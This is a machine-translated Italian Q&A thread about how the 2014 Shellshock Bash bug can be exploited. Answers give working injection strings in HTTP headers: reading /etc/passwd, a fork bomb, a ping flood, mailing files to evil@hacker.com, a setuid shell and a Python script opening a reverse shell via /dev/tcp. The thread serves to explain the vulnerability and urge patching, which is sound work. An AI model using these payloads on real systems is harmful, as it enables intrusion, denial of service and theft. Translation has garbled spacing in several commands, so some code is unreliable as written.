Domanda:
Qual è un esempio specifico di come potrebbe essere sfruttato il bug Shellshock Bash?
Rob Bednark
2014-09-25 05:30:37 UTC
view on stackexchange narkive permalink

Ho letto alcuni articoli ( articolo1, articolo2, articolo3, articolo4) su Shellshock Bash bug ( CVE-2014-6271 segnalato il 24 settembre 2014) e avere un'idea generale di quale sia la vulnerabilità e di come potrebbe essere sfruttata. Per comprendere meglio le implicazioni del bug, quale sarebbe un esempio semplice e specifico di un vettore / scenario di attacco che potrebbe sfruttare il bug?

possibile duplicato di [Scenari di attacco della nuova vulnerabilità Bash] (http://security.stackexchange.com/questions/68139/attack-scenarios-of-the-new-bash-vulnerability)
@Gilles hai creato un ciclo di feedback, gj
Per chiunque desideri comprendere uno scenario completo di attacco al server Web Apache, incluso il modo in cui un utente malintenzionato senza accesso SSH potrebbe persino arrivare a Bash in primo luogo, vedere anche [Come posso proteggere Apache dalla vulnerabilità Bash Shellshock?] (Http: // .stackexchange.com / questions / 68146 / how-do-i-secure-apache-against-the-bash-shellshock-vulnerability) che discute alcuni modi potenzialmente sorprendenti in cui Apache utilizza Bash. ** tldr; ** ce ne sono diversi, quindi patch Bash.
Un esempio su SU: [È un attacco o qualcosa di cui preoccuparsi? Shellshock?] (Http://superuser.com/q/818257/151741)
Cinque risposte:
mgjk
2014-09-25 21:09:53 UTC
view on stackexchange narkive permalink

Un esempio molto semplice potrebbe essere un cgi, /var/www/cgi-bin/test.cgi:

#!/bin/bashecho "Content-type: text / plain" echo echoecho "Ciao"  

Quindi chiamalo con wget per sostituire la stringa dell'agente utente. Per esempio. questo mostrerà il contenuto di / etc / passwd:

  wget -U "() {test;}; echo \" Content-type: text / plain \ "; echo; echo; / bin / cat / etc / passwd "http://10.248.2.15/cgi-bin/test.cgi

Per scomporlo:

 " () {test;}; echo \ "Content-type: text / plain \"; echo; echo; / bin / cat / etc / passwd " 

Assomiglia a:

  () {test} echo \ "Content-type: text / plain \" echoecho / bin / cat / etc / passwd  

Il problema per come l'ho capito è che mentre va bene definire una funzione in una variabile d'ambiente, bash non dovrebbe eseguire il codice dopo di essa.

Il "Content-type:" aggiuntivo è solo a scopo illustrativo. Previene l'errore 500 e mostra il contenuto del file.

L'esempio sopra mostra anche come non sia un problema di errori di programmazione, anche se bash cgi normalmente sicuro e innocuo che non accetta nemmeno l'input dell'utente può essere sfruttato.

@mgjk molto carino. Semplice e specifico, proprio quello che stavo cercando. Grazie!
Grazie, è stato utile. Inoltre, dovrebbe essere "/var/www/cgi-bin/testing.cgi" per corrispondere all'esempio wget (ma otteniamo l'immagine). Se patchato, presumo che il file scaricato dirà solo "Ciao", corretto?
Un po 'stupito che un worm "shell shock" non si sia già mosso, è un vettore follemente semplice e ci devono essere script precompilati per fare il resto del lavoro dopo l'exploit. O mi sta sfuggendo qualcosa?
I titoli di @David stanno già uscendo .. [Gli hacker sfruttano il bug "Shellshock" con worm nei primi attacchi] (http://www.reuters.com/article/2014/09/25/us-cybersecurity-shellshock-idUSKCN0HK23Y20140925)
Non solo gli script CGI bash sono vulnerabili. Se la shell di sistema / bin / sh è bash, qualsiasi script CGI in qualsiasi linguaggio che richiama system (3) per eseguire un altro comando, o altrimenti utilizza / bin / sh, è vulnerabile. per esempio. uno script CGI perl contenente \ `ls | wc -l \ `è vulnerabile.
@SamWatkins Ho provato questo contro una chiamata di sistema php ("/ usr / bin / ls"), ma non sono riuscito a generare alcun comportamento insolito. Ho sentito la tua affermazione anche altrove, sei stato in grado di sfruttarla?
Ottima spiegazione. Qual è il ruolo del punto e virgola che ho visto all'interno del blocco funzione negli esempi più classici?
Il punto e virgola sostituisce una nuova riga in modo che possa adattarsi a una riga. I punti e virgola non sono necessari se puoi sostituirli con nuove righe.
`chiamalo con wget per sostituire la stringa dell'agente utente` - potresti spiegare quella parte in modo un po 'più dettagliato? cioè come / perché qualcosa nell'intestazione della richiesta GET viene eseguita da bash?
Le variabili d'ambiente sono rese disponibili per bash verbatim come parte del progetto CGI. http://tools.ietf.org/html/draft-robinson-www-interface-00 bash consente definizioni di funzioni nelle variabili di ambiente, ma il bug causa l'esecuzione del codice dopo la definizione della funzione. È ridicolo come sembra.
`Le variabili d'ambiente sono rese disponibili per bash verbatim come parte del progetto CGI. Quindi da qualche parte c'è un` var userAgent = headers ["User-Agent"] `?
Questo è più o meno tutto, vedere il documento IETF, p8, HTTP_ *. N.b. ce ne sono molti altri nel gruppo HTTP_ * che non ho provato, ma dovrebbero anche funzionare, come HTTP_ACCEPT, HTTP_ACCEPT_ENCODING, HTTP_ACCEPT_LANGUAGE ...
@mgjk, durante il tentativo di riprodurre il problema alla base di una chiamata system (), hai verificato che il tuo / bin / sh fosse realmente fornito da bash e non trattino o un'altra implementazione?
Ma [un server è sfruttabile solo con cgi abilitato?] (Http://security.stackexchange.com/q/68478)
@rubo77 L'exploit CGI contro shellshock è solo un vettore di attacco. Un altro vettore è il client DHCP per i sistemi Linux. Mi aspetto che ce ne saranno di più. L'esempio sopra è solo per cgi. È meglio non presumere che conosciamo tutti i vettori.
@CharlesDuffy questo è un buon punto. L'ho controllato ed è / bin / sh, che è un collegamento simbolico a / bin / bash. Ma anche se fosse bash, questo metodo non funzionerebbe perché le variabili di ambiente non sono state passate alla shell nel mio test. (per un Redhat 6.5 predefinito). In caso contrario, fatemelo sapere.
@mgjk, perl esegue semplici comandi direttamente senza usare la shell, forse il php più recente fa lo stesso. Il vecchio php 5.2.5 che ho qui usa system (3) e / bin / sh per eseguire anche semplici comandi come system ("/ bin / ls"). Se sei su Debian, Ubuntu, Mint o simili, il tuo / bin / sh è un trattino, non bash, quindi l'uso di system ("...") non mostrerà il bug a meno che tu non stia eseguendo un vero #! / Bin / script bash (di dove ce ne sono molti). dhclient è vulnerabile in quasi tutte le distribuzioni, poiché dhclient-script è uno script #! / bin / bash.
Se fai un sistema ("set") mostra l'interprete e l'intero set di variabili d'ambiente. La mia macchina Debian ha qualche anno su di essa ed è in esecuzione Squeeze LTS che usa bash.
Solo curioso, il server funziona come root? In caso contrario, potrebbe non essere in grado di recuperare "/ etc / passwd" o consentire altri exploit più vulnerabili.
La maggior parte delle app richiede l'accesso per leggere / etc / passwd. È molto insolito restringerlo, questo va * molto * indietro ma potrebbe essere interessante, dal momento in cui / etc / shadow è stato introdotto su Slackware: http://www.tldp.org/HOWTO/Shadow-Password-HOWTO -2.html Forniscono un esempio del comando "ls" incapace di mostrare i nomi utente.
Brendan Byrd
2014-09-25 08:49:40 UTC
view on stackexchange narkive permalink

Con l'accesso a bash, anche dal POV di un utente web, le opzioni sono infinite. Ad esempio, ecco una bomba a forcella:

  () {:; }; : () {: |: &} ;:  

Inseriscilo nella stringa di un agente utente su un browser, vai alla tua pagina web e DoS istantaneo sul tuo server web.

Oppure qualcuno potrebbe usare il tuo server come un bot di attacco:

  () {:; }; ping -s 1000000 <victim IP>  

Mettilo su molti altri server e stai parlando di larghezza di banda reale.

Altri vettori di attacco:

  # furto di dati () {:; }; trova ~ -print | mail -s "I tuoi file" evil@hacker.com () {:; }; cat ~ / .secret / passwd | mail -s "Questo file di password" evil@hacker.com# setuid shell () {:; }; cp / bin / bash / tmp / bash && chmod 4755 / tmp / bash  

Ci sono infinite altre possibilità: shell inverse, esecuzione di server sulle porte, download automatico di alcuni rootkit da utilizzare dall'utente web all'utente root. È una conchiglia! Può fare qualsiasi cosa. Per quanto riguarda i disastri di sicurezza, questo è anche peggio di Heartbleed.

La parte importante è che patchate il vostro sistema. ORA! Se hai ancora server esterni che non hanno ancora patch, cosa stai facendo ancora leggendo questo ?!

Gli hacker stanno già facendo queste cose sopra, e tu non lo fai Non lo so nemmeno!

hai effettivamente _trovato_ quegli exploit (specialmente il primo esempio) o stai solo ipotizzando che funzionino? Te lo chiedo perché ho provato quelli su un Ubuntu vulnerabile preciso e nada ...
È una buona risposta, ma non sono sicuro che risponda esattamente alla domanda. In che modo un utente web potrebbe sfruttarlo tramite un browser?
TimC: Semplicemente impostando la stringa come un programma utente, o un cookie, o qualsiasi numero di variabili CGI che finirebbero nell'ambiente. Da lì, se la pagina web chiama bash, come in una chiamata di sistema per eseguire un comando esterno, viene eseguito il payload.
@lightxx È necessario eseguirlo su un server che esegue effettivamente bash, cioè su alcuni URL gestiti con CGI.
Immagino che non ci sia modo di sapere se una pagina utilizzerà effettivamente bash? Per cose normali come i parametri GET / POST, questi sono probabilmente gestiti con script lato client piuttosto che avere qualcosa nel sistema operativo, quindi potrebbe non usare bash, è corretto?
Perché mai memorizzare l'input dell'utente in una variabile di ambiente comunque? Non riesco a pensare a nessuno scenario in cui vorrei farlo ...
@lightxx http: // www.theregister.co.uk / 2014/09/24 / bash_shell_vuln / "Ubuntu e altri sistemi derivati ​​da Debian che utilizzano esclusivamente Dash non sono a rischio - Dash non è vulnerabile, ma le versioni non funzionanti di Bash potrebbero esserlo comunque presenti sui sistemi. È essenziale che controlli gli interpreti di shell che stai utilizzando e tutti i pacchetti Bash che hai installato, e patch se necessario. "
@Ajedi32 il "vecchio" protocollo CGI comunica interamente con le variabili d'ambiente, metterà ad es. HTTP_USER_AGENT in una variabile. Quindi, se impostato sul lato client, potrebbe passare l'attacco.
@TimC potrebbe anche funzionare se gli script lato server (ad esempio php) chiamano un programma esterno, bash potrebbe essere chiamato (ad esempio un comando di sistema per ImageMagick o per sendmail).
@AlexLehmann Ah, ha senso. La mia esperienza consiste principalmente nel lavorare con le app Ruby on Rails, quindi non avevo considerato che le intestazioni HTTP potrebbero dover essere passate a script CGI esterni come variabili di ambiente.
Questa risposta potrebbe probabilmente beneficiare di una spiegazione più approfondita dell'exploit stesso. Per esempio. In che modo l'inserimento di queste stringhe nel tuo programma utente potrebbe farle essere eseguite da bash?
I tuoi esempi di "furto di dati" sono al contrario o c'è qualcosa in questa vulnerabilità che in realtà inverte il funzionamento del tubo?
Aspetta, perché il programma utente viene persino inserito in una variabile d'ambiente, invece di passarlo come argomento all'eseguibile CGI? (Il che ridurrebbe la sfruttabilità del bug per quanto ne so. Non so molto di CGI.)
@jco perché è così che funziona CGI. Ai tempi in cui CGI è stato creato, questo bug non esisteva ancora, quindi le persone non stavano pensando di ridurre il danno da esso :) Se erano preoccupati per la sicurezza, probabilmente erano preoccupati per il fatto che ssh non esisteva ancora .
@PeterRecore Grazie, è quello che sospettavo. Tuttavia, mi sembra che gli argomenti della riga di comando siano il modo più logico per passare queste informazioni.
@jco, in generale, le variabili di ambiente (quando l'attaccante non può impostare nomi arbitrari - come, in effetti, non possono per CGI) non sono un vettore per l'iniezione di codice non più di quanto lo siano gli argomenti della riga di comando ... finché non si ottenere un bug come questo.
@CharlesDuffy Beh, direi che lo sono. Gli argomenti sono completamente gestiti dal programma a cui vengono passati - ma con le variabili, ci sono più programmi che possono interagire con loro - aumentando così la superficie di attacco. Ma il mio punto era una domanda di ** ingegneria ** di buon senso, poiché questo sembra essere ciò che gli argomenti sono * per *. Non stavo davvero parlando del bug, ma del protocollo CGI stesso e di questa strana pratica.
Le variabili di ambiente @jco sono convenzionalmente accessibili tramite un'interfaccia chiave / valore, anche se su UNIX sono implementate come un elenco semplice di coppie. L'esposizione di "meta-variabili" (come le chiama RFC 3875) tramite un'interfaccia chiave / valore evita di imporre al ricevente qualsiasi onere aggiuntivo di complessità dell'implementazione per essere in grado di analizzarle e gestirle in modo compatibile con il futuro. le metavariabili definite dall'implementazione non fornite nello standard hanno il prefisso "X-CGI-", il che significa che non possono essere usate per impostare contenuti arbitrari (sovrascrivendo "LD_PRELOAD" o simili).
@jco Questa scelta di implementazione rende anche molto più semplice scrivere interfacce compatibili con CGI che _non_ implicano la re-`exec` 'di un processo (vedere FastCGI e simili); è più semplice modificare le variabili di ambiente in un'immagine di processo già esistente che modificare arbitrariamente argv (che richiede il riempimento del valore iniziale di argv ed è generalmente un'operazione dipendente dal sistema operativo).
@CharlesDuffy Grazie per le informazioni. Essenzialmente è più facile analizzarli come coppie chiave-valore e più conveniente modificarli mentre il processo è in esecuzione, giusto? Ho commesso un errore quando ho suggerito di utilizzare gli argomenti, perché i server di solito non vengono riavviati per ogni richiesta, non so cosa stavo pensando.
@jco, ... beh, il CGI tradizionale / originale / di base in realtà _does_ avvia un nuovo processo per ogni richiesta, quindi per il modo in cui si facevano le cose usando argv sarebbe stato effettivamente fattibile. Tuttavia, in effetti, le varianti moderne su di esso (che si preoccupano più delle prestazioni che dell'isolamento del processo) spesso non lo fanno più.
@CharlesDuffy Sì, è così che ho supposto ingenuamente che funzionassero ancora. Basta avviare l'eseguibile e passargli qualcosa. Ma a quanto pare è più complesso di così, almeno ora ...
Tim Dierks
2014-09-26 02:32:32 UTC
view on stackexchange narkive permalink

Non sono solo server; anche il software client può essere influenzato. Ecco un esempio di un client DHCP vulnerabile. Se una macchina ha un client così vulnerabile (e una bash non funzionante), qualsiasi macchina sulla sottorete può inviare risposte DHCP non corrette e ottenere privilegi di root.

Dato l'uso diffuso di variabili di ambiente per condividere lo stato tra i processi in Unix e la quantità di software potenzialmente coinvolta, la superficie di attacco è molto ampia. Non pensare che la tua macchina sia sicura perché non esegui un server web. L'unica soluzione è ottenere la patch bash, considerare il passaggio a una shell predefinita meno complessa (come dash) e sperare che non ci siano molte più vulnerabilità simili là fuori.

L'exploit DHCP mi preoccupa molto di più, francamente. Ogni distribuzione con cui ho esperienza esegue il servizio web come utente non privilegiato, quindi il danno è limitato ai file non protetti (/ etc / passwd sembra spaventoso ma non è molto di più dell'elenco degli utenti, che può fornire un vettore di attacco per indovinare la password, ma ...) e il servizio web stesso (non ne eseguo uno). Ma probabilmente ogni client DHCP viene eseguito come root e tutti ne eseguono uno. Questo sarebbe un grosso problema in un hotspot WiFi pubblico, a meno che non separi gli ospiti l'uno dall'altro.
Rob
2014-09-27 01:25:55 UTC
view on stackexchange narkive permalink

Non è necessario utilizzare bash esplicitamente perché questo sia un problema. Il vero problema è consentire agli aggressori di avere voce in capitolo nel valore delle variabili d'ambiente. Dopo che l'ambiente è stato impostato, è solo questione di tempo prima che una shell venga eseguita (forse sconosciuta) con un ambiente per il quale non è stata preparata.

Ogni programma (bash, java, tcl, php, ...) ha questa firma:

  int main (int argc, char ** argv, char ** arge);  

Gli sviluppatori hanno l'abitudine di controllare la pulizia di argc e argv. La maggior parte ignorerà arge e non farà alcun tentativo di convalidarlo prima di generare subshell (esplicitamente o implicitamente). E in questo caso bash non si difende correttamente da input errati. Per collegare un'applicazione insieme, vengono generati sottoprocessi. In fondo, succede qualcosa del genere:

  // Abbiamo codificato il binario e ripulito l'arg, quindi supponiamo che // non ci possa essere alcun input dannoso, ma l'ambiente corrente viene passato // in modo implicito.execl ("/ bin / bash", "bash", "-c", "/ opt / initTech / bin / dataScrape", cleanArg, NULL);  

Nel tuo codice, potrebbero non esserci riferimenti a bash. Ma forse avvii tcl e qualcosa nel profondo del codice tcl lancia bash per te. Erediterà le variabili d'ambiente attualmente impostate.

Nel caso della versione vulnerabile di bash, sta accadendo qualcosa del genere:

  int main (int argc, char ** argv, char ** arge) {// funzione principale di bash .... parseEnvironment (arge); // !!!! legge le definizioni delle funzioni e var definisce .... doArgv (argc, argv); ....}  

Dove parseEnvironment vede un mucchio di definizioni di variabili d'ambiente che non necessariamente riconosce nemmeno. Ma supporrà che alcune di queste variabili d'ambiente siano definizioni di funzioni:

  INITTECH_HOME = / opt / initTechHTTP_COOKIE = () {:; }; / usr / bin / eject  

Bash non ha idea di cosa sia un HTTP_COOKIE. Ma inizia con (), quindi bash suppone che questa sia una definizione di funzione. Inoltre, consente utilmente di aggiungere del codice eseguito immediatamente dopo la definizione della funzione, perché forse è necessario inizializzare alcuni effetti collaterali con la definizione della funzione. La patch rimuove la possibilità di aggiungere effetti collaterali dopo la definizione della funzione.

Ma l'idea che una variabile d'ambiente possa rimanere inattiva con la definizione della funzione fornita dall'attaccante è ancora altamente inquietante!

  recieve = '() {echo, intendevi ricevere lol; } ' 

Se l'attaccante può far sì che questo nome di variabile ottenga un valore fornito, e sa anche che può attendere che un sottoprocesso bash tenti di invocare una funzione con quel nome, allora questo sarebbe un altro vettore di attacco.

Questo è solo il vecchio ammonimento a convalidare i tuoi input . Poiché le shell possono essere generate come un dettaglio di implementazione sorprendente, mai impostare una variabile di ambiente su un valore che non sia strettamente convalidato. Ciò significa che qualsiasi possibile programma che legge questa variabile d'ambiente non farà qualcosa di inaspettato con il valore; come eseguirlo come codice.

Oggi è bash. Domani è java, sh, tcl o node. Tutti prendono un puntatore all'ambiente nella loro funzione principale; e tutti hanno limitazioni diverse su ciò che gestiranno in sicurezza (fino a quando non saranno patchati).

Giusto. La morale della storia è ** mai ** fidarsi dell'input dell'utente.
Pensavo che consentire a qualcuno di impostare variabili e funzioni d'ambiente fosse intenzionale, e il bug era che il codice _in addition_ sarebbe stato eseguito? Ok, impostare le funzioni dell'ambiente sembra pericoloso, ma non è questo il bug di shellshock - è una "caratteristica".
Se hai aggiornato venerdì, è stata necessaria la possibilità di aggiungere semplicemente il codice immediato dopo la definizione della funzione. Se aggiorni di nuovo, toglie la possibilità di farlo anche tu (bene!): X = '() {echo foo; } 'bash -c foo
poperob
2014-09-25 19:37:18 UTC
view on stackexchange narkive permalink

Ecco un esempio attraverso uno script CGI per un attacco remoto, non testato - Tratto da http://pastebin.com/166f8Rjx

Come tutti gli exploit, dipende dalle circostanze. Si connette a un file cgi remoto sul server web e avvia una shell inversa

() {ignored;}; / bin / bash -i> & / dev / tcp / % s 0> &1 "% sys.argv [3]

  ## CVE-2014-6271 shell inversa cgi-bin # import httplib, urllib, sysif (len (sys.argv) <4 ): print "Utilizzo:% s <host> <vulnerable CGI> <attackhost / IP>"% sys.argv [0] print "Esempio:% s localhost /cgi-80.0/test.c exit (0) conn = httplib.HTTPConnection (sys.argv [1]) reverse_shell = "() {ignored;}; / bin / bash -i >& / dev / tcp /% s 0>&1"% sys.argv headers = {"Content-type": "application / x-www-form-urlencoded", "test": reverse_shell} conn.request ("GET", sys.argv [2], headers = headers) res = conn. getresponse () print res.status, res.reasondata = res.read () print data  


Questa domanda e risposta è stata tradotta automaticamente dalla lingua inglese. Il contenuto originale è disponibile su stackexchange, che ringraziamo per la licenza cc by-sa 3.0 con cui è distribuito.
Loading...